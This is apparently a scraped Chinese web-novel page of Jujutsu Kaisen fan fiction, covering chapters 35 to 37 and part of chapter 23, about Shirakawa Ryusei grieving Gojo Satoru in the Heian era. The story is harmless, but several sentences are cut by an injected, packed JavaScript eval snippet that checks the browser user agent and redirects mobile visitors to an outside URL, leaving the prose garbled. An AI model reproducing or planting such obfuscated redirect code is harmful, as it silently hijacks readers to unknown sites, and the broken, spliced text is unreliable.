青年有一头凌乱的白发,脸上带着伤疤,意外地兼具了长相帅气和面目可怖这两点,视线略过青年短暂绚烂的一生…… 是…… “我们家以前是姓不死川的。”他想起白川绊子的话,“后来觉得太惹眼就改掉了。” 不死川实弥,他仿佛能感受到祖先投来的轻轻一瞥。 耳上带着花札,穿着绿黑市松格子衣衫的少年,相貌和炭彦几乎一模一样。“治好祢豆子,杀掉鬼王,然后,我想要和家人回到山里度过一生。”这么说着,少年露出温暖的笑容,和灶门叔叔如出一辙的笑容。 穿着女孩和服,留着娃娃头的小孩,轻轻捡起姐姐玩耍时落下的皮球。“父亲,我认为姐姐更适合成为鬼杀队的当主……我,……我明白了。” 之后,思绪蜻蜓点水般略过一段段人生,惊才绝艳的继国缘一,令人心驰神往的日之呼吸第十三式,也已经无法令他产生一点波动。 [我是白川琉世,还是黄泉津?] 陷入对自己存在的疑问,还真是有点好笑。悟之前说的没错,他是白川琉世,也是黄泉津本身。一时忘记了灵魂的来处,不会改变他的本质。 属于人的感情流淌而过,他和黄泉津比良坂的一捧水、一缕风、一簇花唯一的不同,在于被一具有所感知的身体承载。 他从未来的河流中捞出一个泡泡。 悟戴着一条长长的围巾,眼睛没有东西遮挡,脸上干干净净的,踩在雪地里慢慢行走,张嘴呼出一团白色的雾气。 那是明显成熟了很多的悟,是他所未见过的冬天的悟。 雪花落在睫毛上方,被无下限隔开,融化成水汽消散在空气中,尽管如此,悟的眼睛还是忍不住眨了一下,银白的睫毛如同两把小刷子,在眼睑上留下一道淡淡的阴影。 浅色的围巾、衣服,白色的头发、睫毛,以及洋洋洒洒的白色的雪,仿佛世间万物所有色彩全着色在那双纯净的眼睛上。 他一定是最受缔造者钟爱的人物。 “五条老师,五条老师!”咯吱咯吱的踩雪声响起,一个粉色头发的少年追上来。 真的成为五条老师了,悟。 “明天的战斗……。”少年棕色的眼睛在明亮的地方透出金色,他绷着嘴角,郑重地说,“我相信老师!” “这是当然的啦,悠仁。”悟转身,展开大大的笑容,“老师会赢的。” 和高专三年级的五条悟相比,也没变太多嘛。白川琉世在那抹笑容里,隐约感觉到心脏嗵嗵,恢复了跳动的节奏。 指间也感受到了血液流通后的温度。 悟的一生,是怎样的呢?泡泡从指尖破碎,他伸展四肢,任由自己沉入河中。 看一下,悟不会生气的,不知什么时候起,白川琉世已经很了解悟的性格了。而且,如果要告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404216|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他未来的事,他也一定不会听。 “现在就知道了有什么意思。”一定会这么说的。 如此受缔造者钟爱的人,他的一生肯定会很—— 扑通。 心跳停顿了一下,重重一落。 血……那种凄厉的,深重的红色,爬满了苍白的脸颊,黏湿了白色的发丝,血液从口鼻奔涌出来,爬过下巴,滑入脖颈,好像神打翻了不详的调色盘,毁掉了他最得意的作品。 悟? 还没来得及对前因后果有所猜测,事实以绝对荒诞的形式,毫无缓冲地呈现在眼前。 腰斩?什么意思,什么意思?到底是什么意思?这个画面是怎么回事?那是悟?不是吧!有谁能伤害到他?后面呢,后面肯定有反转。让家入好好治疗一下就好了吧,一定很疼吧,家入在哪?在……手术台上?这是谁?乙骨忧太? 为什么? 为什么为什么为什么为什么为什么为什么? 缝合线是什么意思,把脑子换到别人身体里又是什么意思?他是五条悟,不是笔芯坏掉能随时换一根的签字笔。一定要用这种方法吗?这么多健康的大脑就只能想到这种阴间的方法吗? 后面呢?没有了?怎么没有了?为什么会没有?所以说是为什么?一定要这样吗?再往后真的没有了吗?悟的人生就停止在这里了?遗体在哪,总要让我看一眼吧?假的,假的,全都是假的,别开玩笑,神啊,拜托你,别开玩笑了。 [这个世界一定是虚假的。] 明明没见过冬天的悟,但雪还是轻飘飘落下来了,融进苍蓝的眼眸里,融化在温热的血水里。把砂砾、血迹、轻蔑、喧哗纷纷掩埋。 神明把身体沉入忘川,把那些破碎的泡泡揽入怀里。 [我要创造一个五条悟能够幸福的世界。] …… 耳旁传来轻柔、喜悦的嗓音。 [“我最喜欢大家了,一点也不寂寞。”] …… [悟!!!] 35.第 35 章 日落黄昏,残阳如血。 障子门哗啦一声推开,庭院里,正小声交谈的两名侍女吓了一跳,怔怔地看着屋里走出来的少年。 是那名面部有妖纹的少年,虽然天使大人后面说,那不是妖纹,但怪异的穿着与短短的头发也令人侧目。 “醒了,我去告诉天使大人。” 身穿粉色直衣的女孩反应比较快,匆匆离开了,单留下绀色衣服的那个,心情忐忑地留下来。似乎应该向对方说些什么,但少年冷漠、疲倦,看起来十分不愉的神色,令她止住了交谈的念头。 白川琉世没有出声,目光略过低矮的房屋,干枯的枝丫,还有明显不是现代装束的女孩,和她乏善可陈的普通灵魂。他仍穿着高专的校服,把澄黄色的漩涡纽扣攥进手心。 还是原来的世界,这点没有错。 因为精神暴乱被甩入时空涡流,本能的执着让他依旧摔进了原来的世界,只是时间好像混乱了。 神明的力量短暂觉醒,瞬间把羂索所下的第一层诅咒冲刷干净。但是,再次投入现世,他的力量依旧被灵魂入世时自我立下的束缚压制。 最后一刀没能杀了羂索,那可笑的家伙用“以后永远不更换身体”为束缚,强行启动三井的术式逃走了。 那是他在黄泉津比良坂里看到的最后一件事。 哈。 原来,“千年前”的黄泉津御命转世,就是他自己。 这是什么冷笑话吗,穿越也没有时髦到哪里去。 没关系,没关系,都没关系。 应该发生的,不应该发生的,他全部都知道了。 森寒的冷意冻结了泛着温暖色泽的眼睛。 …… 踏,踏,踏。 是木屐踩在石板上的响声。 穿着白色直衣的少女缓步前行,她面容清丽,长长的黑发修剪成姬发式样,垂在腰间,年纪大概十七八岁,表情却没有少女的天真烂漫,一片认真凝重。 刚踏进院子,天使就停住脚步,身体自动做好了发动术式的准备。 很危险!这种压迫感令她浑身寒毛直竖,她只在狩猎特级咒灵和大妖怪时感受过。 “这里是安培家……,无论如何,希望你不要恩将仇报。” 站在门口的少年松开刀柄,仿佛梦游初醒,“不用这么紧张,我没有敌意。” 然而,少年刚刚浓重的杀意令她不敢掉以轻心。 “你是什么人。是我擅作主张救了你,如果你给安倍家带来麻烦,我也会亲手了结你。” 眼前的少女,有着非常坚韧的钢灰色灵魂。 这双眼睛,是什么时候能看到别人的灵魂的?忘记了。 与此同时,白川琉世感受着体内一道新加的封印,仿佛一道闸门,把往他身体里涌的咒力关在了门外。 他的身体,也就是因为这个才没有被庞大的咒力挤压崩溃吧。 “我是个没有过去的人,你可以叫我黄泉津。” 天使:…… 这么一说就更可疑了,这人是犯了什么大事潜逃的吗?而且,黄泉津这种名字真的是本名吗? “我叫做天使。” 好吧,她的名字也很奇怪。 天使决定接受黄泉津这个名字。 “我是在安倍家附近发现你的,那时你的身体正无休止地吸收咒力,已经不堪重负。同行的咒术师看到你的妖纹,不想施以援手,但我们安倍家对妖族没有太多偏见。” “妖纹?”那应该是他开启斑纹后的纹路,但是现在的他,并没有多少兴趣找个镜子照照看。 “我知道不是,后来,你的情况安倍家无法处理,只好去请藤原大人帮忙,你的封印就是藤原大人所下。他告诉我,你是人类,不是妖族或者半妖。”天使的脸闪过一丝落寞,“如果晴明大人还在世,这种事我们也不至于去请别人。” 晴明?安倍家?安倍晴明? 白川琉世沉默。 安倍晴明应该刚去世没多久,至少以天使的年纪,能对他留下印象。 白川琉世询问少女,“你是咒术师吗?还是阴阳师?” “我是咒术师。”天使顿了顿,不想与刚认识的人交浅言深,不满地反问,“那你是什么人呢?现在都还没有告诉我,是武士吗?还是忍者?隶属于哪里呢?为什么会遇到那样的麻烦?” “我的事一时半会说不清楚。”为了表示尊重,他把刀挂回腰间,“不会给你们安倍家带来麻烦。现在,可以回答我一个问题吗?” “你知道两面宿傩吗?” 天使深棕色的瞳孔因震惊微微扩大。 “为什么这么问?”天使因为这个名字,本能地扬起愤怒的声线,“你认识宿傩?” “不。”白川琉世平静地说,“我要杀了他。” 没想到得到这样的答案,天使赞同地说,“宿傩确实应该被处决,就在昨天,他还有胆子杀了好多咒术师,就连菅原家的觉大人也……。” “你说……什么?菅原?觉?” 天使后退一步,努力抵挡内心涌上的深深恐惧。黄泉津怎么了?那双眼睛这么盯着她的时候,那种浓重的压力是怎么回事?不是杀气,不是威吓,事实上,少年的眼中只是填满了惊疑的神色。 那种,好像直面死亡一样的压力…… 注意到天使的异常,白川后退几步,闭上眼睛,尽量缓和自己的情绪,再次询问。 “菅原觉,他怎么了?” “就在昨天,宿傩杀了觉大人。”天使小口小口地呼吸,“太残忍了,竟然把人腰斩……。” …… [“你为什么不姓菅原,姓五条?”] [“因为老子家里改过姓。”] [“老子家里有个笨蛋祖先,也是六眼,被他杀了。”] [“就在昨天,宿傩杀了觉大人。”] [腰斩……。] “黄泉津?你这是……。”天使鼓起勇气,在准备发动术式和开口询问间选择了后者,“怎么了?你认识觉大人吗?” 哎,天使也感到惋惜,觉大人是多么好的一个人,就算交情不多,听到这个消息的时候,她也很伤心呢。 …… 想必她问了多余的话,那个古怪的少年看起来不仅认识菅原觉,而且相当挂心。 在询问了菅原家的地址后,就直接跑了出去,天使作为救助他的人,怕他做出什么不好的事,也匆忙跟在后面,焦急地叫着他的名字。 但……这是跑哪儿去了?刚出了安倍家的大门,就不见了黄泉津的踪影,天使一咬牙,干脆往菅原家跑去。 菅原家因为有丧事,不时有人前去吊唁,个个面色哀切。门口迎来送往的人都穿着素色衣服,为首的是个银白色长发的少年,正要送禅院家刚继任的年轻家主禅院幸回去,忽然感觉耳边一阵风刮过。 “诶?”他迷茫地转头,什么也没看到。 “行平……。”禅院幸错愕地睁大眼睛,“刚刚有人闯进去了。” “诶?!” 菅原家昨天才失去了家主,对葬礼上突如其来的变故表现地十分愤怒。菅原行平听到院子里传来喧闹声,带着几名族人匆匆往里赶。 不会是宿傩又……?不,不会,他应该还不敢直接闯进京都。而且,如果是宿傩的话,大概会直接把“碍事”的人统统斩了。 …… 大门内的走廊上,一个高大的身影掠过一道道竖着的木质围栏,快速奔跑着。 菅原家的格局和别家有些不一样,半露天的走廊相当长,左右都是观赏的庭院,和连通别的院子的岔路。一些在庭院中交际的客人,纷纷停止交谈,惊诧的目光随着少年移动。 “拦住他!” “他要往灵堂去!” 是谁在吵?在追他吗?白川琉世茫然地转头一望。 庭院中,走廊上,身上绣着各种家纹的咒术师、阴阳师,披袈裟的僧侣,束发的巫女,乌帽深衣的男子,素服持扇的女人,追着他跑的人,拿扇子遮住惊讶面孔的人,一幕幕仿佛舞台剧,带给他强烈的不真实感。 [这是哪?他们是谁?我在做什么?] 有必要那么焦心吗?菅原觉又不是五条悟。 [“……卡密?不,不对。”] 只是相同的名字而已。只是一个家族的人而已。只是千年前一个和悟无关的人而已。 [“那么,我和那个人有什么相似之处呢?”] 不,不对,全都不对! [“琉世,你有没有梦到过我?”] 那是—— 沿着走廊奔跑着,速度越快,越能隐约感觉到熟悉的灵魂质感,透明的,仿佛水中轻盈上升的气泡…… 上升,不断上升,在繁盛的日光下破裂。 那是悟的灵魂! 嘭。 一道身影扑进紧闭的灵堂大门,摔出一声巨响,屋内吊唁的宾客纷纷吓了一跳,突如其来的意外,一时让人难以反应。 众人眼睁睁地看着那个穿着怪异的少年踉跄了一下,目光转向停灵的地方。 “拦住他!”菅原行平终于追上了,他扒着门框,弯腰急促喘息,“不要让他打扰觉大人。” 外面的骚动,屋里并不是一点都听不到,有些性急的客人正要动手拦人,却被一个孔雀蓝色眼睛的青年打断了。 “诸位,先看看是什么情况吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410278|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “藤原大人,可是……。” 藤原用目光示意菅原行平看过去,语气温和,却让人不容拒绝,“或许那个年轻人也是同我们一样的伤心人,只是情之所起,一时难以自禁罢了。” …… 白川琉世什么都听不到,径直向停灵的地方走去,周围全是人,一声不响地围在周围,无数双眼睛齐刷刷地盯着他,不知出于什么心理,一时没有任何一个人阻拦他。 菅原觉是菅原家的家主,年少英才,可惜继位不过一年就身陨。年轻的六眼从小就极受家里疼爱,就连呈放他的棺椁也是上佳的。 青年身体被白色绢布仔细包裹着,双目紧闭、面色沉静,银白色的长发迤逦,整整齐齐披散在身侧。脸颊失去血色,嘴唇苍白,只露出一张素白到极点的脸,在漆黑的棺木里,像一捧马上要融化的雪。 一张与五条悟一模一样的脸。 白川琉世伸出手,似乎要触碰死者,手指却颤抖着,停在半空,迟迟没有下落。 他注视着半空,那是在黄泉瞳下也毫无色彩,却明净清澈,极具存在感的一缕灵魂。 是五条悟的灵魂。 “……saturo。” 白川琉世轻声呢喃,望着空中长久地出神,时间越久,神态越有种平静的癫狂。 “一定很疼吧。” [走吧,没关系,我会看着你。] “对不起,以后不会了。” 遗留在人间的最后一缕灵魂碎片,被少年的手指轻轻点了一下,飘飘摇摇,向上,毫不留恋地消散。 灵堂针落可闻,明明有访客几十众,大家却连呼吸都放轻了。那个莽撞的少年抬起一张沉郁到有些麻木的脸,眼底汹涌的惊痛,让所有人都不敢妄加上前打扰。 那种可怖的、骇人的气势,仿佛神魔降世,让在场有些人莫名想到那个嗜杀的诅咒之王。 …… 菅原行平想起昨天,觉大人的父亲得知儿子死讯时的表情,与眼前的少年有些相通之处,他忽然不再坚持把少年抓住扫地出门了。 只是,他平时总是随着觉大人出门,觉大人哪里认识的这个人呢?况且,听他的语气,似乎与觉大人有过人的关系。 众人更是惊疑交加,刚刚空中是有什么东西吗?还是那少年魇住了?他们屏息凝神,等待着少年接下来的动作。 少年却仿佛从什么中抽离了出来,脱力似的半跪在棺旁,锋利的情绪收敛。他沉默了半晌,只是仔仔细细地看着菅原觉的遗容。 良久后,靠得近一些的人才听到少年的低语,“开什么玩笑……。” 没有人做声,大家的态度却软化了很多,啊,果然像藤原大人所说的那样吗?这个少年只是接受不了菅原觉的离世啊。 等到终于要离开的时候,他站起身,轻轻开口,语气格外温柔、缱绻。 “神会一直保佑你的,悟。” …… ? 菅原行平后退一步,完全不知道该怎么办好了。这是怎么回事?是什么情况?周围的人纷纷都问过来了,但是他也并不知道更多啊? 吊唁的客人中,已经有些在低声交谈自己的猜测了。 在古老的平安京时代,既崇尚风雅,对感情的表达又极尽含蓄,互相称呼名字已是相当亲密的事,更别说这种出格的行为。在其中一个已经身陨的情况下,生死相隔,表达的感情就更加微妙。 不过,他刚刚说的是saturo,而不是菅原觉的名字saturi吧? 或许是那人弄错了,悟比起觉来,更像是男子的名字,也或许是他们听错了。不管怎样,感情总是做不得假,看他这么伤心的样子,有的人已经开始感慨。 “真是动人的感情啊。” “这位和菅原大人是什么关系呢?” “想必是爱慕者了。” 菅原行平到处辟谣,“不是的,我一直跟随着觉大人,但没见过他,这个人就算认识觉大人,想必也不熟悉。” “既是爱慕,互赠和歌,也不一定让你看到啊。” “是这样,这种事情,当事人总是想着避嫌呢。” 菅原行平:…… 开始怀疑自己。 菅原行平把求助的眼神看向藤原,但有着孔雀蓝眼睛的青年,看着白川琉世的方向,心中不忍,走过去轻轻拍了拍他。 “请节哀。觉他……走的很快,没有受太多折磨,希望你不要太伤心。” 白川琉世只是长久地沉默着。 “你……没事吧?对了,忘了自我介绍,”青年笑起来有点腼腆,“我是藤原朝若,早一点的时候,就是我去安倍家替你封印的咒力。” 36.第 36 章 最近咒术届发生了翻天覆地的大事。 特级咒术师夏油杰叛逃,咒术总监部连带总务在内的几个高层,和加茂家的一位长老同时失踪,与此同时,白川琉世的失踪在一连串重磅消息的衬托下,就显得微不足道了。 况且,辅助监督三井的死,明显为白川琉世所为。 咒术总监部先后发出对夏油杰、白川琉世的通缉令。 带出了两个诅咒师学生,夜蛾正道也收到了一连串行政处罚,如果不是五条家力保,刚上任的东京校校长马上就要喜提卸任离职。 反正他也已经习惯了,不够圆滑、没有派系,不会拉帮结伙,还坐上了高专校长的位置,就算什么也不做也有很多人看他不顺眼。 运气比较好的是,他有学生维护。 清晨,夜蛾正道坐在办公室里,向窗外看去。往常这个时间,云层已经透出熹微的橙色光芒,然而今天的天色依旧昏暗,夜蛾被烦恼填满的脑子放空了一下,忽然发现现在已经是秋天了。 悟刚刚从他办公室离开,学生要做的任务、背负的事务,比他这个做老师的还要多。杰不接他的电话,悟联系了两次,倒还有些进展。 悟和他坦白了琉世的身世问题,也从杰那里得到了缝合线的一些消息,正一边和总监部的人斡旋,试图撤销白川琉世的通缉,一边调查缝合线的事,目前线索似乎指向了盘星教。因为这个,悟和杰又开始了联络。 两人联络的内容,杰有没有回来的意思,夜蛾并不清楚。 事情为什么会变成这个样子,饶是认为对一切都有心理准备的夜蛾,也陷入了长久的消沉中。 他尚且如此,更别说悟了,夜蛾想起通知悟时学生的表情。 “开什么玩笑?” “是真的。” “杰那家伙叛逃,琉世失踪?琉世还杀了人?” “前两项是确认的,琉世杀人是总监部的说辞,我并不相信。” “悟,回来!你去哪?别冲动!” …… 夜蛾本来应该觉得欣慰的,往日喜欢和他唱反调的学生,第一次听进去了他的劝阻,没有冲动。 但代价实在太沉重了。 他没有如夜蛾所担心的那样,大闹总监部,去杀人,或者也去叛逃,只是请了几天假,回五条家开会。请假的那几天,发给他的任务同样也做了。 夜蛾仿佛第一次真正认识五条悟。如果说令他觉得靠谱的学生排名,无论怎么排,悟总是最后一名。顽劣,吵闹,不遵守规则,连做任务都经常忘记放帐。 但是,属于他的责任,不属于他的重担,不都一件件好好背负上了吗? …… 属于五条悟的夏天结束了。 家族、咒术界、社会、最强的责任、大人的担当。 直至踏入逐渐逼近的凛冽寒冬。 …… 七海和伊地知交了任务,一起从校长室出来。 过了夏忙期,两人能过上相对轻松的学生生活了,特别是伊地知,任务量更是一个月零星一两个。 走到自动贩卖机前,七海向里面投币,问伊地知要喝什么。 “可乐,谢谢七海前辈。” 七海干脆买了两罐可乐,递给伊地知一罐。 两人坐在学校的长椅上,都不是话多的人,一时间只听到风声掠过。七海受了点伤,不严重,不着急去找家入硝子,他抬头把可乐放在额头上,虽然不是冰镇的,也带来了一丝凉意。 伊地知喝了口饮料,把易拉罐放在地上,抱着书包垂下了头。他的书包也挂上了咒骸,那是他最后一次见白川时,白川特意为他要的。 没有那种能帮助咒术师战斗的咒骸,如果有,就算不投入生产,夜蛾老师也早就给他们发放了。但是夜蛾老师是和白川一样温柔的人,依然顺势送给了他一个咒骸,还是和白川那只一个类型的,一个蓝色的丑丑的小鸟。 七海不是个喜欢流露感情的人,但看到那只小鸟,心中总是泛起一阵熟悉的牵痛。 “伊地知,白川只是失踪了,没有消息就是最好的消息。一般像这种情况,人肯定还活着。” “我也是这么相信着的。”伊地知露出勉强的微笑,“谢谢你,七海前辈。对不起,让你担心了。” 啊,是很难说出心里话的类型啊。本来以为这个最弱的后辈会先出事,没想到是看起来生命力最顽强的白川。但同伴和自己谁先死掉根本没有比较的意义,都一样可悲。 “你的运气比我好,伊地知。” “诶?” “没什么。” 七海望着远处的天空,想起去年的自己,日复一日地开始怀疑成为咒术师的意义。他的天赋不算顶尖,但也不坏,学生时代评上了二级,毕业的时候差不多能评上一级,再往上走是没可能了。 到底为什么要做咒术师?就算能看到咒灵,平时当做看不到,也不会有咒灵来找他麻烦,这么当一个普通人就好。不管什么工作,都比上一刻还在一起说笑,下一刻就看到同伴尸体的咒术师好。 “伊地知,你有没有考虑过,以后做辅助监督。” “嗯?”伊地知迷茫地抬头,“没有考虑过,我一直在为成为咒术师努力。” “没必要为那种东西而努力,咒术师就是狗屎。” 终于说出来了,真是太舒适了。 七海感觉堵着的胸腔通畅了,他认真地建议伊地知,“虽然想尊重你的想法,但还是考虑一下放弃做咒术师吧,我不想再看到你的尸体了。” …… 挂断老爹的电话,五条悟经过熟悉的楼梯拐角,继续向上,来到男生宿舍三楼。 老爹真是的,最近骂了他不止一次呢。 他当然知道家里有很多人对他不满,特别是最近,为了琉世和夜蛾老师的事,花了很多钱不说,还送出去很多人情。 夜蛾老师没事了,杰因为是琉世失踪前见过的最后一个人,不知是出于愧疚,还是最后一点情谊,两人通过一次电话,互相对了对缝合线的情报。 但是后来,那家伙就不接他的电话,不回他的邮件了,任凭他发了多少内容,都石沉大海。 杰一直都比他好说话,但两人都知道真正固执的是谁。 至少对方还没有拉黑他的联系方式。 杰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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嘶,怎么会有人睡这么硬的床啊,琉世真是半个野人,床板上只铺了层床单,太硌了吧。等以后在一起,他是绝对不会睡这么硬的床的。 空置了一段时间的房间,已经没有任何主人的咒力残秽,连平时残秽最明显的床上也毫无痕迹。五条悟短暂解除无下限,放松身体接触床铺的织物,深吸一口气—— 枕间、被子,也完全没有主人的气味了,只有秋天微凉的空气充满肺部。 二十八天没见了。 他以为这种程度的思念会来得更晚一点。 真是好窄的床铺,平躺的时候脚马上就从床尾伸出去了,琉世睡的话应该会更难受吧,干嘛不找管理人员更换尺寸更大的床呢? 是因为根本不在意吧,活得太粗粝了琉世。 枕头有些不平,五条悟往枕头下一翻,拿出一本漫画书来,他正要放到桌子上,那粉色系花里胡哨的封面就撞入眼帘。 “噗。” 苍蓝眼眸漾出笑意。 随手把漫画放在桌上,五条悟拿起枕头抱在怀里,下巴贴在上面低落地蹭了蹭,略带甜系的嗓音轻哑,有些撒娇的意味。 “什么嘛,搞得好像被老子折磨到了,明明直说就好了。” …… 下次一起去水族馆吧。 别再缺席了,琉世。 37.第 37 章 临近元月,积压了半日的雪,终于从乌晦的云层中落了下来。大雪来势汹汹,伴随着呼呼的狂风,把街道上的人全都赶回了家里。 菅原行平正襟危坐,由藤原朝若作陪,审慎思考着和藤原家家主寒暄的话题。饶是如此,也不由分出一点注意,瞥向了框框作响的窗扉。 街道上似乎有人声,透过了宽阔的庭院和呼啸的风雪。 “安倍家的捉妖队回来了。” “是黄泉津大人!” 藤原朝若察觉到了友人的走神,偷偷用桧扇打了他一下,表面上还要为他找补。 “父亲,安倍家的捉妖队回来了,不知道这次猎到了什么妖物呢。” “听说安倍家又招揽了一个厉害的人物,风头正盛,还自比为神明呢。”藤原家主语气有些惊叹,更多的是奚落,“朝若,他是什么人呢,阴阳师?” “并非阴阳师,他有咒力,但也不像咒术师。” 藤原朝若想起第一次见面时,那人张口就自称为神明,他当时哭笑不得,还担心地替他检查了一下头部有没有磕碰。 不过…… “恐怕真的是神明呢。”他回答颇为目中无人的父亲。 “当真有那么厉害?” “您如果看过他的眼睛,或许就不会怀疑了。” 藤原家是顶级贵族,与阴阳师、咒术师家族,大寺院、大神社都保持着良好的关系,家里的日月星进队和五虚将,吸纳了平民中有灵力和咒力的人,在几代人的培养下,战力已不容小觑。 藤原家主对那种神赐般的能力,向来惊叹有加,否则也不会娶了安倍家的女儿做妻子,还让幼子朝若娶了菅原家的女儿。 “安倍家好运气啊。”藤原家主想起之前的事,“那个女孩也是如此,当初被晴明公抢先了一步。” “父亲。”藤原朝若附和了几句,话锋一转,“行平的心已经不在这了,还是让我们去看看那位黄泉津的风姿吧。” 藤原家主哈哈大笑,扬了扬手,准许两人离席。 菅原行平的心确实不在这了,他和藤原一人撑了一把伞,站在不时跑出家门看热闹的人群中,遥望从西边赶路回来,正前往阴阳寮的队伍。 一行七八人左右的年轻阴阳师,骑着马经过朱雀大街,每个人都穿着绣着五芒星纹的白色狩衣,带着立乌帽子,神情悠闲地像刚刚春游归来。 妖物不是家畜,不能拴在马后就这么进京,或许是用什么方法收伏了,风雪中眯起眼睛的菅原行平如此想着。他是咒术师,平日里修行三天打鱼两天晒网,对什么都一知半解。以前有觉大人在前面顶着,没人乐意管他,自从觉大人去世后,菅原家把他当做下代继承人培养,于是接连不断的训练,到处拜访权贵家族联络感情,这些东西全都被迫学起来了。 年仅十七岁的行平,目光搜索着那个和他差不多大,却被尊称为“神”的家伙。 白川琉世和天使缀在后面,少女戴着斗笠,点点落雪飘在长长的鸦发上。少年穿着同款白色狩衣,没带帽子,黑色的短发留长了些,发尾不时扫在肩膀上。 狂风中,少年的眼睛微微眯起,他背脊挺直,仪态威严,却总透出股厌倦,一副满不在乎的样子。 菅原行平在人群中寻找白川琉世时,对方的眼神也迅速锚定他了。 “喂。” 马在菅原行平不到一米的地方停下。 白川琉世至上而下俯视他,“你也穿太少了吧,病了怎么办?” 菅原行平:? 不是,他们很熟吗? 干吗特意在大街上说这种话,还是单单对他说。 虽然见过几次面,但他俩没有正式互相介绍过。第一次见面,黄泉津在觉大人的吊唁仪式上失态,让他很生气,尽管好奇黄泉津和觉大人是怎么认识的,但赌气似的没有去搭话。 后面几次,是他听门房说,那个疯疯癫癫的少年又来家里大门附近晃悠了。菅原行平听到,每次都匆匆赶到门口,在门里悄悄观察那人。 失魂落魄,举止粗鲁,丝毫没有可取之处,和觉大人相比,那简直是腐草之萤光,怎及天心之皓月。 “不好意思,你是……?”他故意把嘴一撇,扭头看向别处。 一旁的藤原朝若忍俊不禁。 “黄泉津。” 金瞳少年只是平淡地回答他,半点没有对别人情绪的反应,好像……,菅原行平琢磨了一下,好像有些缺乏人类情感的意思。 是这样吗,所以说是神。菅原行平听说过他的丰功伟绩,每次跟随安倍家的捉妖队出去,都能猎杀为恶一方的大妖怪,而且都是一刀毙命,很受众人称赞。 晴明公在世时,那么声名显赫,也没有被推上神明的位置。眼前的少年,给人一种强烈的疏离感,这就是大家认同他自称为神的原因吧。 不过两三个月,怎么变了那么多呢? “我是,呃,菅原行平。”莫名紧张起来了。 “把你们家讨伐宿傩的人召回吧,没什么用,让他们少出门。”少年声音平淡,既像挂心的叮嘱,又有些命令的意味。菅原家从家主死后,没少出门讨伐宿傩,已经死了好多优秀的人才了。 ? 菅原行平感到不解,又有种被人指手画脚的愤怒。 “我们菅原家还沦落不到让一个外人插手。” 对面的人嘴角勾起一个似有若无的弧度,像看闹脾气的小孩,一点也没生气的意思。“最好是这样,别最后让宿傩把老家打没了。” 菅原行平的火气因为这极致的侮辱窜得老高。他刚要跳起来,就被藤原朝若按了下去,友人左右逢源,一边低头对他说好好好,别失态大家都看着呢,一边抬头没事人似的问马上的人,要不要再加固一下封印。 藤原朝若的结界术,在整个京都的阴阳师中也是拔尖的了,但在白川琉世身上所下的封印,依旧需要时时加固才行。 “好。”白川琉世点头,“谢谢,乙骨。” 就算藤原朝若脾气很好,也要生气了。 “我的名字是藤原朝若,不是乙骨。” 他想起第一次见面时,明明自己说了名字,黄泉津却脱口而出,叫他“乙骨忧太”。 就算他可能与黄泉津的故人相似,但叫错两次总不应该吧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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处决“堕天”的宿傩,是她必须完成的使命。尽管想自己杀了宿傩,但谁也不会放着强大的助力白白不用。 “你没问题吧,黄泉津?” “当然。一次杀不了,就杀第二次,第三次。”白川琉世许久没有情绪的眼睛,翻滚着怒意,“我一定要把他砍成两半,就从腰部这个位置下刀。” 说的太对了。天使从没听过此等悦耳之言。 “我就知道救你没错。” 话是这么说,但黄泉津执着于腰斩宿傩,是为了菅原觉大人吧? 少女看向同伴的眼神带上了怜悯和惋惜。 真是情深义重,但…… 黄泉津,何以至此,何以至此呐。 “你那是什么看弱者的眼神?还是先担心担心自己吧。”白川琉世的悦耳之言只维持了一句,“你的术式是令一切术式无效化,好用是好用,但只能算辅助,你还有其他战斗方式吗?拳脚不行,武器也马马虎虎,你这样拿什么打宿傩?” 天使:…… 打宿傩纯度比她还高的人诞生了。 23-30 第23章 对感情的看法、姐妹校交流会 “来,chi-zu。” 擂台上,五条悟正靠近一个同样穿高专制服,眼睛含泪的少年,笑着拍下合照。 这可是关于姐妹校交流会的美好回忆,也发给琉世一张好了。 对面京都校的败者,在他手下还没坚持1秒钟,就丧失战斗意志了,眼下正被京都校实际上的中心人物——禅院直哉讽刺挖苦。 明明只是二年级,却对自己学校的三年级毫不留情,真是仗着自己家世胡作非为的小烂橘子。 这麽想着的五条悟,可能因为某前辈执念过重,忽然想起庵歌姬毕业前,他也是毫不留情地捉弄前辈的。 不一样啦,不一样。 跳下擂台,五条悟走到阴凉的地方,家入硝子正叼着一根雪糕,塞得两颊鼓鼓的。 “加油,七海前辈!”伊地知鼓起勇气,小声为即将上台的七海加油。 “杰那家夥在搞什麽啊。”五条悟似真似假地抱怨着,“个人赛忽然就不来了,老子已经通知琉世了,他正从仙台往这赶。” 